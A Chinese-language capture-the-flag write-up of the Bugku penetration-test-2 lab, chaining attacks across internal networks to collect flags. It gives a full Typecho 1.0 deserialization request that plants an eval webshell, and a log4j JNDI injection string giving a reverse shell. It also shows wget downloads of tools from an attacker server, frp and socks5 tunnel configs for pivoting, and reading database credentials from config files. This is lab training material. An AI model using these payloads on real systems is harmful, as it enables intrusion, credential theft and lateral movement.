bugku渗透测试2

Uncategorized
1.1k words

开启靶场,访问主页,看到了这么个博客,用Wappalyzer简单的做了一下指纹识别,再配合F12查看源码,最终找到了博客的框架版本。


上网搜索一下Typecho 1.0/14.10.10的nday利用,最终找到这么一篇文章:https://blog.csdn.net/weixin_43886198/article/details/111474906,完美符合条件,搭配上文章中提到的poc,我们向install.php发送特定请求,数据包内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /install.php?finish HTTP/1.1
Host: 106.14.212.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 929
Origin: http://106.14.212.180
Connection: close
Referer: http://106.14.212.180/install.php?finish
Cookie: PHPSESSID=5nt895b5pkbe53mtd5nvkf30f6
Upgrade-Insecure-Requests: 1

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjYzOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbYnV6aGlkYW9dKT8%2BJykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2MzoiZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD89QGV2YWwoJF9SRVFVRVNUW2J1emhpZGFvXSk%2FPicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D

输入buzhidao链接蚁剑,根目录下读取文件拿到第一个flag

之后再去网站根目录下转转,读取config.inc.php,得到数据库用户名以及密码,用蚁剑的数据管理模块搭配用户名密码链接,读取第二个flag


进入横向移动阶段,用拿的webshell传一个fscantmp目录下,加权限查本机ip一通乱梭后,fscan直接开扫,扫描结果如下。

我们重点关注一下192.168.0.3这个IP,老办法传个frp上去,其中frpc的内容如下

  • Frpc.ini
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    [common]
    # 服务端地址及端口
    server_addr = XXX.XXX.XXX.XXX
    server_port = 10013
    log_file = /dev/stdout
    log_level = info
    log_max_days = 3

    # 发布本地 web 服务
    [web]
    type = tcp
    # 映射ip
    local_ip = 192.168.0.3
    # 映射端口
    local_port = 80
    # 云服务器的80端口
    remote_port = 10014

上传上去之后vps启动监听,靶机也启动frpc


成功把流量转发到了vps的10014端口上,访问界面如下

接下来的步骤就是通过目录扫描,发现源码泄露,然后再经过一番代码审计发现存在log4j漏洞,但这么一步一步截图操作下来有些太麻烦了,这里直接开打。

在vps上开启反弹shell监听,准备好jndi注入的链接。


在用户名处输入: ${jndi:rmi://xxxxxxx:1099/hiksok},完成jndi注入,vps提示上线,直接查看环境变量, 瞬秒3个flag.

然后跳到tmp目录下,用wget命令下载下来我们要用的fscan_amd64frpc (已经挂在vps上了)

1
2
3
4
5
6
7
vps: 
1. python3 -m http.server 60005
client:
1. wget http://xxxxxx:60005/fscan_amd64
2. wget http://xxxxxx:60005/frpc
3. wget http://xxxxxx:60005/frpc.ini
4. wget http://xxxxxx:60005/frpc_full.ini

fscan扫描结果如下,这里去把192.168.1.3给代理出来,启动frp,访问代理结果,得到如下界面


这里是用到了我们git上马的一个技巧,去git一个有马的库到本地就行,因为这里可以对phtml进行解析,所以我们的马也要是phtml类型的,这里是自己建了这么一个库,我们直接submit一下地址就可以上马了:https://github.com/F4miti0n/bugku2.git,最终也是蚁剑成功链接,在根目录读取到了第七个flag

接着到tmp上传frpfscan_amd64,查完ip之后发现它还有一个网卡,我们把目标定为10.xx.xx.xx这个网段,fscan开扫结果如下。

基本没什么东西能打了,10.10.0.110.10.0.2都被打完了,只有10.10.0.3这么个漏网之鱼还留着。因为它只开了21端口,我们肯定会先想到去打它的ftp服务,比如用匿名访问什么的去试一下。但不管怎么样,显然我们需要先把他给代理出来,再调用一下frp(frpclient内容如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
# 服务端地址及端口
server_addr = xxx.xxx.xxx.xxx
server_port = 10013
log_file = /dev/stdout
log_level = info
log_max_days = 3

# 构建socks5代理
[socks]
type = tcp
plugin = socks5
# 云服务器的端口
remote_port = 60014

本来是想单独代理一个端口出来的,但发现ftp怎么都链接不上,看提示说好像是还要代理几个别的端口,很烦人,直接上个socks5代理当vpn用算了,靶机那边链接一下frp,kali那边在conf文件下配置/etc/proxychains4.conf

1
2
socks5 xxx.xxx.xxx.xxx 60014
//文件尾加这么一行

一开始匿名访问没有成功,后来发现原来给提示了,账户名密码都是guest,我们直接就能链接上ftp,最终在根目录和当前目录收集到了最后两个flag。